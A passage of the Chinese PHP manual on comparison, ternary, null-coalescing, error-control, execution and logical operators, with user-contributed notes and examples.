echo "a" <=> "a"; // 0
echo "a" <=> "b"; // -1
echo "b" <=> "a"; // 1

echo "a" <=> "aa"; // -1
echo "zz" <=> "aa"; // 1

// 数组
echo [] <=> []; // 0
echo [1, 2, 3] <=> [1, 2, 3]; // 0
echo [1, 2, 3] <=> []; // 1
echo [1, 2, 3] <=> [1, 2, 1]; // 1
echo [1, 2, 3] <=> [1, 2, 4]; // -1

// 对象
$a = (object) ["a" => "b"];
$b = (object) ["a" => "b"];
echo $a <=> $b; // 0

$a = (object) ["a" => "b"];
$b = (object) ["a" => "c"];
echo $a <=> $b; // -1

$a = (object) ["a" => "c"];
$b = (object) ["a" => "b"];
echo $a <=> $b; // 1

// 不仅仅比较值，而且也会匹配键
$a = (object) ["a" => "b"];
$b = (object) ["b" => "b"];
echo $a <=> $b; // 1

?>

对于多种类型，比较运算符根据下表比较（按顺序）。

比较多种类型
运算数 1 类型 | 运算数 2 类型 | 结果
null 或 string | string | 将 null 转换为 ""，进行数字或词汇比较
bool 或 null | 任何其它类型 | 转换为 bool，false < true
object | object | 内置类可以定义自己的比较，不同类不能比较，相同的类查看对象比较
string、resource、int、float | string、resource、int、float | 将字符串和资源转换成数字，按普通数学比较
array | array | 成员越少的数组越小，如果运算数 1 中的键不存在于运算数 2 中则数组无法比较，否则挨个值比较（见下例）
object | 任何其它类型 | object 总是更大
array | 任何其它类型 | array 总是更大

Example #1 Boolean/null comparison

<?php
// Bool 和 null 总是作为 bool 比较
var_dump(1 == TRUE); // TRUE - same as (bool)1 == TRUE
var_dump(0 == FALSE); // TRUE - same as (bool)0 == FALSE
var_dump(100 < TRUE); // FALSE - same as (bool)100 < TRUE
var_dump(-10 < FALSE);// FALSE - same as (bool)-10 < FALSE
var_dump(min(-100, -10, NULL, 10, 100)); // NULL - (bool)NULL < (bool)-100 is FALSE < TRUE
?>

Example #2 标准数组比较代码

<?php
// 数组是用标准比较运算符或者太空船运算符进行比较的
function standard_array_compare($op1, $op2)
{
if (count($op1) < count($op2)) {
return -1; // $op1 < $op2
} elseif (count($op1) > count($op2)) {
return 1; // $op1 > $op2
}
foreach ($op1 as $key => $val) {
if (!array_key_exists($key, $op2)) {
return 1;
} elseif ($val < $op2[$key]) {
return -1;
} elseif ($val > $op2[$key]) {
return 1;
}
}
return 0; // $op1 == $op2
}
?>

Warning

比较浮点数

由于浮点数 float 的内部表达方式，不应比较两个浮点数float是否相等。

更多信息参见 float。

Note: 请注意，在比较不同类型的值时，类型转换并不总是很明显，尤其是比较 int 与 bool 或者 int 与 string。因此，在大多数情况下，通常建议使用 === 和 !== 进行比较而不是 == 和 !=。

不能比较的值

虽然恒等比较（=== 和 !==）可以应用于任意值，其它比较运算符应该仅用于可比较的值。不能比较的值的比较的结果是不确定的，不应依赖。

参见

  • strcasecmp()
  • strcmp()
  • 数组运算符
  • 类型

三元运算符

另一个条件运算符是"?:"（或三元）运算符 。

Example #3 赋默认值

<?php
// 三元运算符的例子
$action = (empty($_POST['action'])) ? 'default' : $_POST['action'];

// 以上等同于以下的 if/else 语句
if (empty($_POST['action'])) {
$action = 'default';
} else {
$action = $_POST['action'];
}
?>
表达式 (expr1) ? (expr2) : (expr3) 在 expr1 求值为 true 时的值为 expr2，在 expr1 求值为 false 时的值为 expr3。

可以省略三元运算符中间那部分。表达式 expr1 ?: expr3 等同于如果 expr1 求值为 true 时返回 expr1 的结果，否则返回 expr3。expr1 在这里仅执行一次。

Note: 注意三元运算符是个语句，因此其求值不是变量，而是语句的结果。如果想通过引用返回一个变量这点就很重要。在一个通过引用返回的函数中语句 return $var == 42 ? $a : $b; 将不起作用，以后的 PHP 版本会为此发出一条警告。

Note:

建议避免将三元运算符堆积在一起使用。和其他语言相比， 当在单个表达式中使用多个未加括号的三元运算符时会造成 PHP 运算结果不清晰。 甚至在 PHP 8.0.0 之前，三元运算符是从左到右执行的， 而大多数其他编程语言是从右到左的。 自 PHP 7.4.0 起，弃用依靠左联。 PHP 8.0.0 起，三元运算符是非关联的。

Example #4 不清晰的三元运算符行为

<?php
// 乍看起来下面的输出是 'true'
echo (true ? 'true' : false ? 't' : 'f');

// 然而，上面语句的实际输出是't'，因为在 PHP 8.0.0 之前三元运算符是左联的

// 下面是与上面等价的语句，但更清晰
echo ((true ? 'true' : 'false') ? 't' : 'f');

// 这里可以看到第一个表达式的计算结果是 "true"，第二个表达式的计算结果为 (bool)true，
// 因此返回第二个三元表达式的 true 分支。
?>

Note:

然而，短三元运算符（?:）的链接是稳定且合理的。他将第一个参数进行求值，结果为非假值。注意，未定义的值将会引发警告。

Example #5 Short-ternary chaining

<?php
echo 0 ?: 1 ?: 2 ?: 3, PHP_EOL; //1
echo 0 ?: 0 ?: 2 ?: 3, PHP_EOL; //2
echo 0 ?: 0 ?: 0 ?: 3, PHP_EOL; //3
?>

NULL 合并运算符

另一个简略运算符是 "??" （NULL 合并）运算符。

Example #6 设置默认值

<?php
// NULL 合并运算符的例子
$action = $_POST['action'] ?? 'default';

// 以上例子等同于于以下 if/else 语句
if (isset($_POST['action'])) {
$action = $_POST['action'];
} else {
$action = 'default';
}
?>
当 expr1 为 null，表达式 (expr1) ?? (expr2) 等同于 expr2，否则为 expr1。

尤其要注意，当不存在左侧的值时，此运算符也和 isset() 一样不会产生警告。 对于 array 键尤其有用。

Note: 请注意：NULL 合并运算符是一个表达式，产生的也是表达式结果，而不是变量。 返回引用变量时需要强调这一点。 因此，在返回引用的函数里就无法使用这样的语句：return $foo ?? $bar;，还会提示警告。

Note:

null 合并运算符的优先级较低。这意味着如果将它与其它运算符（比如字符串链接或者算术运算符）混合使用，可能需要括号。

<?php
// $name 未定义，引发警告。
print 'Mr. ' . $name ?? 'Anonymous';

// 打印 "Mr. Anonymous"
print 'Mr. ' . ($name ?? 'Anonymous');
?>

Note:

请注意，NULL 合并运算符支持简单的嵌套：

Example #7 嵌套 NULL 合并运算符

<?php

$foo = null;
$bar = null;
$baz = 1;
$qux = 2;

echo $foo ?? $bar ?? $baz ?? $qux; // 输出 1

?>

User Contributed Notes

Hayley Watson 15-Aug-2023 06:15
Between the "shortcut ternary" (aka "elvis") and "spaceship" operators, you can write some quite compact comparison functions for usort and its ilk.

If you want to sort an array of associative arrays by several different keys you can chain them in the same way that you can list column names in an SQL ORDER BY clause.

<?php
usort($array, fn($a, $b) => $a['a'] <=> $b['a']
                         ?: $b['b'] <=> $a['b']
                         ?: $a['c'] <=> $b['c']);
?>
Will sort the array by column 'a', then by column 'b' descending, then by column 'c'; or in SQL-speak 'ORDER BY a, b DESC, c".
gfilippakis at sleed dot gr 24-Mar-2023 09:50
Please note that using the null coalescing operator to check properties on a class that has the __get magic method (without an __isset magic method) invokes the magic method.

For example:

<?php

class A
{
    public function __get($property)
    {
        echo 'Called __get for ' . $property . PHP_EOL;
    }
}

$a = new A();

echo 'Trying null coalescing operator' . PHP_EOL;
$b = $a->test ?? 5;

echo 'Trying isset()' . PHP_EOL;
if (isset($a->test)) {
    $b = $a->test;
} else {
    $b = 5;
}

?>
admin at zeros dot co dot id 06-Aug-2022 01:05
Please be careful when you try to compare strings that have a plus sign `+` at the beginning (such as phone number, etc). When you use the Equal operator `==` PHP will ignore the plus sign. Use Identical operator `===` instead

Example:

$str1 = "62";
$str2 = "+62";

var_dump($str1 == $str2); // bool(true)
var_dump($str1 === $str2); // bool(false)
Tahazzot 25-Apr-2021 10:56
Very careful when reading PHP documentation, Here's a lot of miss information.

According to documentation, They say's (int) 0 == (string) "a" is true. But it is not in PHP 8.

var_dump(0 == "a"); // 0 == 0 -> true

Now In PHP 8 it's False.
Sumon Mahmud 23-Jan-2020 06:59
Extending from here: https://www.php.net/manual/en/language.operators.comparison.php#121907

$a = ['a' => 1, 'b' => 2, 'c' => 3, 'e' => 4];
$b = ['a' => 1, 'b' => 2, 'd' => 3, 'e' => 4];

echo $a > $b; // 0
echo $b > $a; // 0
echo $a <$b; // 0
echo $b < $a; // 0

If using spaceship operator then it is returning true like :

echo $a <=> $b; //1
echo $b <=> $a; //1
echo $a <=> $b; //1
echo $b <=> $a; //1
Ryan Mott 16-Sep-2019 05:00
Searching for "double question mark" operator should find this page (and hopefully after this comment the crawlers will agree)
niall at maranelda dot org 23-Nov-2017 12:16
Care must be taken when using the spaceship operator with arrays that do not have the same keys:

- Contrary to the notes above ("Example #2 Transcription of standard array comparison"), it does *not* return null if the left-hand array contains a key that the right-hand array does not.
- Because of this, the result depends on the order you do the comparison in.

For example:

<?php
$a = ['a' => 1, 'b' => 2, 'c' => 3, 'e' => 4];
$b = ['a' => 1, 'b' => 2, 'd' => 3, 'e' => 4];

var_dump($a <=> $b);        // int(1) : $a > $b because $a has the 'c' key and $b doesn't.

var_dump($b <=> $a);        // int(1) : $b > $a because $b has the 'd' key and $a doesn't.
?>
Marcin Kuzawiski 21-Jun-2015 08:12
A < B and still B < A...

$A = [1 => 1, 2 => 0, 3 => 1];
$B = [1 => 1, 3 => 0, 2 => 1];

var_dump($A < $B);  // TRUE
var_dump($B < $A);  // TRUE

var_dump($A > $B);  // TRUE
var_dump($B > $A);  // TRUE

Next - C and D are comparable, but neither C < D nor D < C (and still C != D)...

$C = [1 => 1, 2 => 1, 3 => 0];
$D = [1 => 1, 3 => 1, 2 => 0];

var_dump($C < $D); // FALSE
var_dump($D < $C); // FALSE

var_dump($C > $D); // FALSE
var_dump($D > $C); // FALSE

var_dump($D == $C); // FALSE
Cuong Huy To 10-Jul-2011 07:48
In the table "Comparison with Various Types", please move the last line about "Object" to be above the line about "Array", since Object is considered to be greater than Array (tested on 5.3.3)

(Please remove my "Anonymous" post of the same content before. You could check IP to see that I forgot to type my name)
crazy888s at hotmail dot com 01-Feb-2010 10:32
I couldn't find much info on stacking the new ternary operator, so I ran some tests:

<?php
echo 0 ?: 1 ?: 2 ?: 3; //1
echo 1 ?: 0 ?: 3 ?: 2; //1
echo 2 ?: 1 ?: 0 ?: 3; //2
echo 3 ?: 2 ?: 1 ?: 0; //3

echo 0 ?: 1 ?: 2 ?: 3; //1
echo 0 ?: 0 ?: 2 ?: 3; //2
echo 0 ?: 0 ?: 0 ?: 3; //3
?>

It works just as expected, returning the first non-false value within a group of expressions.
bishop 26-Oct-2006 03:49
When you want to know if two arrays contain the same values, regardless of the values' order, you cannot use "==" or "===".  In other words:

<?php
(array(1,2) == array(2,1)) === false;
?>

To answer that question, use:

<?php
function array_equal($a, $b) {
    return (is_array($a) && is_array($b) && array_diff($a, $b) === array_diff($b, $a));
}
?>

A related, but more strict problem, is if you need to ensure that two arrays contain the same key=>value pairs, regardless of the order of the pairs.  In that case, use:

<?php
function array_identical($a, $b) {
    return (is_array($a) && is_array($b) && array_diff_assoc($a, $b) === array_diff_assoc($b, $a));
}
?>

Example:
<?php
$a = array (2, 1);
$b = array (1, 2);
// true === array_equal($a, $b);
// false === array_identical($a, $b);

$a = array ('a' => 2, 'b' => 1);
$b = array ('b' => 1, 'a' => 2);
// true === array_identical($a, $b)
// true === array_equal($a, $b)
?>

(See also the solution "rshawiii at yahoo dot com" posted)
adam at caucho dot com 08-May-2006 10:49
Note: according to the spec, PHP's comparison operators are not transitive.  For example, the following are all true in PHP5:

"11" < "a" < 2 < "11"

As a result, the outcome of sorting an array depends on the order the elements appear in the pre-sort array.  The following code will dump out two arrays with *different* orderings:

<?php
$a = array(2,    "a",  "11", 2);
$b = array(2,    "11", "a",  2);
sort($a);
var_dump($a);
sort($b);
var_dump($b);
?>

This is not a bug report -- given the spec on this documentation page, what PHP does is "correct".  But that may not be what was intended...
rshawiii at yahoo dot com 18-Jan-2006 11:36
You can't just compare two arrays with the === operator
like you would think to find out if they are equal or not.  This is more complicated when you have multi-dimensional arrays.  Here is a recursive comparison function.

<?php
/**
 * Compares two arrays to see if they contain the same values.  Returns TRUE or FALSE.
 * usefull for determining if a record or block of data was modified (perhaps by user input)
 * prior to setting a "date_last_updated" or skipping updating the db in the case of no change.
 *
 * @param array $a1
 * @param array $a2
 * @return boolean
 */
function array_compare_recursive($a1, $a2)
{
   if (!(is_array($a1) and (is_array($a2)))) { return FALSE;}

   if (!count($a1) == count($a2))
      {
       return FALSE; // arrays don't have same number of entries
      }

   foreach ($a1 as $key => $val)
   {
       if (!array_key_exists($key, $a2))
           {return FALSE; // uncomparable array keys don't match
              }
       elseif (is_array($val) and is_array($a2[$key]))  // if both entries are arrays then compare recursive
           {if (!array_compare_recursive($val,$a2[$key])) return FALSE;
           }
       elseif (!($val === $a2[$key])) // compare entries must be of same type.
           {return FALSE;
           }
   }
   return TRUE; // $a1 === $a2
}
?>


错误控制运算符

PHP 支持一个错误控制运算符：@。当将其放置在一个 PHP 表达式之前，该表达式可能产生的任何错误诊断都被抑制。

如果用 set_error_handler() 设定了自定义的错误处理函数，即使诊断信息被抑制，也仍然会被调用。

Warning

PHP 8.0.0 之前，如果错误被 @ 运算符抑制，则在自定义错误处理程序中调用 error_reporting() 将始终返回 0。PHP 8.0.0 起，返回（按位）表达式的值：E_ERROR | E_CORE_ERROR | E_COMPILE_ERROR | E_USER_ERROR | E_RECOVERABLE_ERROR | E_PARSE。

error_get_last() 返回数组中的 "message" 元素储存了表达式产生的任意错误信息。 此函数的返回结果会随着每次错误的发生而相应变化，所以需要尽早检查。

<?php
/* 故意文件错误 */
$my_file = @file ('non_existent_file') or
die ("Failed opening file: error was '" . error_get_last()['message'] . "'");

// 这适用于所有表达式，而不仅仅是函数：
$value = @$cache[$key];
// 如果索引 $key 不存在，则不会发出通知。

?>

Note: @ 运算符只对 表达式 有效。 对新手来说一个简单的规则就是：如果能从某处获得值，就能在它前面加上 @ 运算符。例如，可以把它放在变量，函数调用，某些语言构造调用（例如 include ）等等之前。 不能把它放在函数或类的定义之前，也不能用于条件结构例如 if 和 foreach 等。

Warning

PHP 8.0.0 之前，@ 运算符会禁用导致脚本停止运行的严重错误。 例如在调用一个不存在的函数前添加 @，由于函数不可用或者输入错误， 将会导致脚本终止，而不会说明原因。

参见

  • error_reporting()
  • 错误处理与日志记录函数

User Contributed Notes

Ryan C 17-Mar-2021 02:37
It's still possible to detect when the @ operator is being used in the error handler in PHP8. Calling error_reporting() will no longer return 0 as documented, but using the @ operator does still change the return value when you call error_reporting().

My PHP error settings are set to use E_ALL, and when I call error_reporting() from the error handler of a non-suppressed error, it returns E_ALL as expected.

But when an error occurs on an expression where I tried to suppress the error with the @ operator, it returns: E_ERROR | E_PARSE | E_CORE_ERROR | E_COMPILE_ERROR | E_USER_ERROR | E_RECOVERABLE_ERROR (or the number 4437).

I didn't want to use 4437 in my code in case it changes with different settings or future versions of PHP, so I now use:

<?php
   function my_error_handler($err_no, $err_msg, $filename, $linenum) {
      if (error_reporting() != E_ALL) {
         return false; // Silenced
      }

     // ...
   }
?>

If the code needs to work with all versions of PHP, you could check that error_reporting() doesn't equal E_ALL or 0.

And, of course, if your error_reporting settings in PHP is something other than E_ALL, you'll have to change that to whatever setting you do use.
gwyneth dot llewelyn at gwynethllewelyn dot net 06-Feb-2021 10:31
Allegedly, the @ error control operator has been deprecated as of PHP 8.0.0, or, more precisely, it will no longer suppress fatal errors. See https://bugs.php.net/bug.php?id=78532&thanks=3 (note the comment by nikic@php.net)
fy dot kenny at gmail dot com 06-Aug-2020 08:14
* How to make deprecated super global variable `$php_errormsg` work

>1. modify php.ini
>track_errors = On
>error_reporting = E_ALL & ~E_NOTICE
>2. Please note，if you already using customized error handler，it will prompt `undefined variable`
>please insert code`set_error_handler(null);` before executing code, e.g:
>```php
>set_error_handler(null);
>$my_file = @file ('phpinfo.phpx') or
>die ("<br>Failed opening file: <br>\t$php_errormsg");
>```

>(c)Kenny Fang
jcmargentina at gmail dot com 13-Sep-2019 12:15
Please be aware that the behaviour of this operator changed from php5 to php7.

The following code will raise a Fatal error no matter what, and you wont be able to suppress it

<?php

function query()
{
    $myrs = null;
    $tmp = @$myrs->free_result();

    return $tmp;
}

var_dump(query());

echo "THIS IS NOT PRINT";
?>

more info at: https://bugs.php.net/bug.php?id=78532&thanks=3
man13or at hotmail dot fr 07-Jun-2019 01:54
Quick debugging methods :

@print($a);
is equivalent to
if isset($a) echo $a ;

@a++;
is equivalent to
if isset($a) $a++ ;
else $a = 1;
Joey 16-Feb-2018 01:50
In PHP it is extremely beneficial to turn all notices into exceptions. This helps in creating bug free code through finding errors sooner rather than later. It also helps reduce the impact of bugs as code when entering an erroneous state ends sooner rather than later and at all. In the worst case without that you can have much more scenarios where code fails yet appears as though it succeeded.

However there are rare cases in which notices and warnings are produced where the above behavour might be unproductive. Worse yet your error handling will kick out that exception before the function gets to return.

They are rare cases such as socket handling where certain states are expressed through errors causing ambiguity.
ricovox 07-Mar-2017 05:29
What is PHP's behavior for a variable that is assigned the return value of an expression protected by the Error Control Operator when the expression encounteres an error?

Based on the following code, the result is NULL (but it would be nice if this were confirmed to be true in all cases).

<?php

    $var = 3;
    $arr = array();

    $var = @$arr['x'];    // what is the value of $var after this assignment?

    // is it its previous value (3) as if the assignment never took place?
    // is it FALSE or NULL?
    // is it some kind of exception or error message or error number?

   var_dump($var);  // prints "NULL"

?>
dkellner 04-Aug-2016 10:21
There is no reason to NOT use something just because "it can be misused".  You could as well say "unlink is evil, you can delete files with it so don't ever use unlink".

It's a valid point that the @ operator hides all errors - so my rule of thumb is: use it only if you're aware of all possible errors your expression can throw AND you consider all of them irrelevant.

A simple example is
<?php

    $x = @$a["name"];

?>
There are only 2 possible problems here: a missing variable or a missing index.  If you're sure you're fine with both cases, you're good to go.  And again: suppressing errors is not a crime.  Not knowing when it's safe to suppress them is definitely worse.
karst dot REMOVETHIS at onlinq dot nl 20-Feb-2015 02:15
While you should definitely not be too liberal with the @ operator, I also disagree with people who claim it's the ultimate sin.

For example, a very reasonable use is to suppress the notice-level error generated by parse_ini_file() if you know the .ini file may be missing.
In my case getting the FALSE return value was enough to handle that situation, but I didn't want notice errors being output by my API.

TL;DR: Use it, but only if you know what you're suppressing and why.
manisha at mindfiresolutions dot com 11-Oct-2014 09:25
Prepending @ before statement like you are doing a crime with yourself.
Anonymous 14-Feb-2014 11:24
I was wondering if anyone (else) might find a directive to disable/enable to error operator would be a useful addition. That is, instead of something like (which I have seen for a few places in some code):

<?php

if (defined(PRODUCTION)) {
    @function();
}
else {
    function();
}

?>

There could be something like this:

<?php

if (defined(PRODUCTION)) {
    ini_set('error.silent',TRUE);
}
else {
    ini_set('error.silent',FALSE);
}

?>
Anonymous 05-Aug-2013 01:05
This operator is affectionately known by veteran phpers as the stfu operator.
bohwaz 22-Jun-2011 06:27
If you use the ErrorException exception to have a unified error management, I'll advise you to test against error_reporting in the error handler, not in the exception handler as you might encounter some headaches like blank pages as error_reporting might not be transmitted to exception handler.

So instead of :

<?php

function exception_error_handler($errno, $errstr, $errfile, $errline )
{
    throw new ErrorException($errstr, 0, $errno, $errfile, $errline);
}

set_error_handler("exception_error_handler");

function catchException($e)
{
    if (error_reporting() === 0)
    {
        return;
    }

    // Do some stuff
}

set_exception_handler('catchException');

?>

It would be better to do :

<?php

function exception_error_handler($errno, $errstr, $errfile, $errline )
{
    if (error_reporting() === 0)
    {
        return;
    }

    throw new ErrorException($errstr, 0, $errno, $errfile, $errline);
}

set_error_handler("exception_error_handler");

function catchException($e)
{
    // Do some stuff
}

set_exception_handler('catchException');

?>
anthon at piwik dot org 20-Feb-2011 12:39
If you're wondering what the performance impact of using the @ operator is, consider this example.  Here, the second script (using the @ operator) takes 1.75x as long to execute...almost double the time of the first script.

So while yes, there is some overhead, per iteration, we see that the @ operator added only .005 ms per call.  Not reason enough, imho, to avoid using the @ operator.

<?php
function x() { }
for ($i = 0; $i < 1000000; $i++) { x(); }
?>

real    0m7.617s
user    0m6.788s
sys    0m0.792s

vs

<?php
function x() { }
for ($i = 0; $i < 1000000; $i++) { @x(); }
?>

real    0m13.333s
user    0m12.437s
sys    0m0.836s
auser at anexample dot com 08-Sep-2010 04:02
Be aware that using @ is dog-slow, as PHP incurs overhead to suppressing errors in this way. It's a trade-off between speed and convenience.
darren at powerssa dot com 14-Jul-2010 09:33
After some time investigating as to why I was still getting errors that were supposed to be suppressed with @ I found the following.

1. If you have set your own default error handler then the error still gets sent to the error handler regardless of the @ sign.

2. As mentioned below the @ suppression only changes the error level for that call. This is not to say that in your error handler you can check the given $errno for a value of 0 as the $errno will still refer to the TYPE(not the error level) of error e.g. E_WARNING or E_ERROR etc

3. The @ only changes the rumtime error reporting level just for that one call to 0. This means inside your custom error handler you can check the current runtime error_reporting level using error_reporting() (note that one must NOT pass any parameter to this function if you want to get the current value) and if its zero then you know that it has been suppressed.
<?php
// Custom error handler
function myErrorHandler($errno, $errstr, $errfile, $errline)
{
    if ( 0 == error_reporting () ) {
        // Error reporting is currently turned off or suppressed with @
        return;
    }
    // Do your normal custom error reporting here
}
?>

For more info on setting a custom error handler see: http://php.net/manual/en/function.set-error-handler.php
For more info on error_reporting see: http://www.php.net/manual/en/function.error-reporting.php
M. T. 11-Oct-2009 09:20
Be aware of using error control operator in statements before include() like this:

<?PHP

(@include("file.php"))
 OR die("Could not find file.php!");

?>

This cause, that error reporting level is set to zero also for the included file. So if there are some errors in the included file, they will be not displayed.
gerrywastaken 19-May-2009 01:46
Error suppression should be avoided if possible as it doesn't just suppress the error that you are trying to stop, but will also suppress errors that you didn't predict would ever occur. This will make debugging a nightmare.

It is far better to test for the condition that you know will cause an error before preceding to run the code. This way only the error that you know about will be suppressed and not all future errors associated with that piece of code.

There may be a good reason for using outright error suppression in favor of the method I have suggested, however in the many years I've spent programming web apps I've yet to come across a situation where it was a good solution. The examples given on this manual page are certainly not situations where the error control operator should be used.
taras dot dot dot di at gmail dot com 12-Aug-2008 08:29
I was confused as to what the @ symbol actually does, and after a few experiments have concluded the following:

* the error handler that is set gets called regardless of what level the error reporting is set on, or whether the statement is preceeded with @

* it is up to the error handler to impart some meaning on the different error levels. You could make your custom error handler echo all errors, even if error reporting is set to NONE.

* so what does the @ operator do? It temporarily sets the error reporting level to 0 for that line. If that line triggers an error, the error handler will still be called, but it will be called with an error level of 0

Hope this helps someone
nospam at blog dot fileville dot net 03-Jan-2007 11:58
If you want to log all the error messages for a php script from a session you can use something like this:
<?php
 session_start();
  function error($error, $return=FALSE) {
      global $php_errormsg;
      if(isset($_SESSION['php_errors'])) {
        $_SESSION['php_errors'] = array();
    }
  $_SESSION['php_errors'][] = $error; // Maybe use $php_errormsg
  if($return == TRUE) {
    $message = "";
       foreach($_SESSION['php_errors'] as $php_error) {
          $messages .= $php_error."\n";
     }
    return $messages; // Or you can use use $_SESSION['php_errors']
  }
}
?>
Hope this helps someone...
12-Dec-2006 05:52
error_reporting()==0 for detecting the @ error suppression assumes that you did not set the error level to 0 in the first place.

However, typically if you want to set your own error handler, you would set the error_reporting to 0. Therefore, an alternative to detect the @ error suppression is required.
programming at kennebel dot com 13-Oct-2006 06:38
To suppress errors for a new class/object:

<?php
// Tested: PHP 5.1.2 ~ 2006-10-13

// Typical Example
$var = @some_function();

// Class/Object Example
$var = @new some_class();

// Does NOT Work!
//$var = new @some_class(); // syntax error
?>

I found this most useful when connecting to a
database, where i wanted to control the errors
and warnings displayed to the client, while still
using the class style of access.
me at hesterc dot fsnet dot co dot uk 03-Mar-2005 08:25
If you wish to display some text when an error occurs, echo doesn't work. Use print instead. This is explained on the following link 'What is the difference between echo and print?':

http://www.faqts.com/knowledge_base/view.phtml/aid/1/fid/40

It says "print can be used as part of a more complex expression where echo cannot".

Also, you can add multiple code to the result when an error occurs by separating each line with "and". Here is an example:

<?php
$my_file = @file ('non_existent_file') or print 'File not found.' and $string = ' Honest!' and print $string and $fp = fopen ('error_log.txt', 'wb+') and fwrite($fp, $string) and fclose($fp);
?>

A shame you can't use curly brackets above to enclose multiple lines of code, like you can with an if statement or a loop. It could make for a single long line of code. You could always call a function instead.
frogger at netsurf dot de 26-Dec-2004 08:19
Better use the function trigger_error() (http://de.php.net/manual/en/function.trigger-error.php)
to display defined notices, warnings and errors than check the error level your self. this lets you write messages to logfiles if defined in the php.ini, output
messages in dependency to the error_reporting() level and suppress output using the @-sign.


执行运算符

PHP 支持一个执行运算符：反引号（``）。注意这不是单引号！PHP 将尝试将反引号中的内容作为 shell 命令来执行，并将其输出信息返回（即，可以赋给一个变量而不是简单地丢弃到标准输出）。使用反引号运算符"`"的效果与函数 shell_exec() 相同。

<?php
$output = `ls -al`;
echo "<pre>$output</pre>";
?>

Note:

关闭了 shell_exec() 时反引号运算符是无效的。

Note:

与其它某些语言不同，反引号不能在双引号字符串中使用。

参见

  • 程序执行函数
  • popen()
  • proc_open()
  • PHP 的命令行模式

User Contributed Notes

paolo.bertani 10-Nov-2022 05:25
If you want to avoid situations like the one described by @robert you may want to disable `shell_exec` and -as a consequence- the backtick operator.

To do this just edit the `php.ini` file and add `shell_exec` to the `disable_functions` setting:

    ; This directive allows you to disable certain functions.
    ; It receives a comma-delimited list of function names.
    ; https://php.net/disable-functions
    disable_functions = "shell_exec"

Then you can still use `exec()` to run terminal commands.
ohcc at 163 dot com 04-Dec-2016 02:22
You can use variables within a pair of backticks (``).

<?php
    $host = 'www.wuxiancheng.cn';
    echo `ping -n 3 {$host}`;
?>
robert 01-Mar-2006 11:25
Just a general usage note.  I had a very difficult time solving a problem with my script, when I accidentally put one of these backticks at the beginning of a line, like so:

[lots of code]
`    $URL = "blah...";
[more code]

Since the backtick is right above the tab key, I probably just fat-fingered it while indenting the code.

What made this so hard to find, was that PHP reported a parse error about 50 or so lines *below* the line containing the backtick.  (There were no other backticks anywhere in my code.)  And the error message was rather cryptic:

Parse error: parse error, expecting `T_STRING' or `T_VARIABLE' or `T_NUM_STRING' in /blah.php on line 446

Just something to file away in case you're pulling your hair out trying to find an error that "isn't there."


逻辑运算符

逻辑运算符
例子 | 名称 | 结果
$a and $b | And（逻辑与） | true，如果 $a 和 $b 都为 true。
$a or $b | Or（逻辑或） | true，如果 $a 或 $b 任一为 true。
$a xor $b | Xor（逻辑异或） | true，如果 $a 或 $b 任一为 true，但不同时是。
! $a | Not（逻辑非） | true，如果 $a 不为 true。
$a && $b | And（逻辑与） | true，如果 $a 和 $b 都为 true。
$a || $b | Or（逻辑或） | true，如果 $a 或 $b 任一为 true。

"与"和"或"有两种不同形式运算符的原因是它们运算的优先级不同（见运算符优先级）。

Example #1 逻辑运算符示例

<?php

// --------------------
// foo() 根本没机会被调用，被运算符"短路"了

$a = (false && foo());
$b = (true || foo());
$c = (false and foo());
$d = (true or foo());

// --------------------
// "||" 比 "or" 的优先级高

// 表达式 (false || true) 的结果被赋给 $e
// 等同于：($e = (false || true))
$e = false || true;

// 常量 false 被赋给 $f，true 被忽略
// 等同于：(($f = false) or true)
$f = false or true;

var_dump($e, $f);

// --------------------
// "&&" 比 "and" 的优先级高

// 表达式 (true && false) 的结果被赋给 $g
// 等同于：($g = (true && false))
$g = true && false;

// 常量 true 被赋给 $h，false 被忽略
// 等同于：(($h = true) and false)
$h = true and false;

var_dump($g, $h);
?>

以上示例的输出类似于：

bool(true)
bool(false)
bool(false)
bool(true)

User Contributed Notes

martinholtcbi at gmail dot com 08-Dec-2022 01:39
In PHP, the || operator only ever returns a boolean. For a chainable assignment operator, use the ?: "Elvis" operator.

JavaScript:
let a = false;
let b = false;
let c = true;
let d = false;
let e = a || b || c || d;
// e === c

<?PHP
$a = false;
$b = false;
$c = true;
$d = false;
$e = $a ?: $b ?: $c ?: $d;
// $e === $c
?>

Credit to @egst and others for the insight. This is merely a rewording for (formerly) lost JavaScript devs like myself.
egst 16-Feb-2021 11:23
In response to Lawrence about || always returning a boolean:

Instead of

$x ? $x : 'fallback'

you can also use the "elvis operator":

$x ?: 'fallback'

which is useful in cases, where the left-hand side of the ternary operator is too long type, is too complex to calculate twice, or has side-effects.

It also combines nicely with the ?? operator, which is equivalent to an empty() check (both isset() and `!= false`):

$x->y ?? null ?: 'fallback';

instead of:

empty($x->y) ? $x->y : 'fallback'
mcodingset at outlook dot com 16-Oct-2018 05:45
// __forFun ...
// Example Logical `or` operator

$a = true;                  // true|false or something for test :)
$b = "I'm a string result"; // use|test `string` or `object`

if (!$a or !$c = $b) {
    $c = 'Hey';
}

// print result
var_dump($c); // "I'm a string result"

Have Fun!
Manucyan 29-Aug-2018 04:28
So...
A || B   may be different from  B || A

for exemple :

unset($a);
if (    ($a < 0)   ||   (!isset($a))   )
echo 'Hello!';

//      return error:  "Notice: Undefined variable: a "

unset($a);
if (    (!isset($a))   ||    ($a < 0)  )
echo 'Hello!';

//      return   'Hello!'

practical example with an age check over 17 years:
if (    (!isset($age))   ||    ($age < 17)  )
$error_age = true;

this example will not display a php error if the age is not entered
dumitru at floringabriel dot com 10-Apr-2017 10:54
In addition to what Lawrence said about assigning a default value, one can now use the Null Coalescing Operator (PHP 7). Hence when we want to assign a default value we can write:

$a = ($fruit ?? 'apple');
//assigns the $fruit variable content to $a if the $fruit variable exists or has a value that is not NULL, or assigns the value 'apple' to $a if the $fruit variable doesn't exists or it contains the NULL value
vasko at tsintsev dot com 26-Jan-2017 05:01
Here is something useful for OR ( or any other ) bitwise comparison:

$a = 0;
$b = 1;

printf('$a = %1$04b | $b = %2$04b ...  PROCESSED is: %3$s ( %3$04b )', $a, $b, ($a | $b));
thisleenobleNOSPAMPLEASE at mac dot com 09-Jan-2017 11:05
In order to kind of emulate the way javascript assigns the first non-false value in an expression such as this:

var v = a || b || c || d;

I wrote a little helper method that I put in a function dump library (here presented as a bare function):

<?php
function either($a, $b){
        $val = $a ? $a : $b;
        /*
             Yes, I know the fixed parameters in the function
             are redundant since I could just use func_get_args,
             but in most instances I'll be using this a replacement
             for the ternary operator and only passing two values.
             I don't want to invoke the additional process below
             unless I REALLY have to.
        */
        $args = func_get_args();
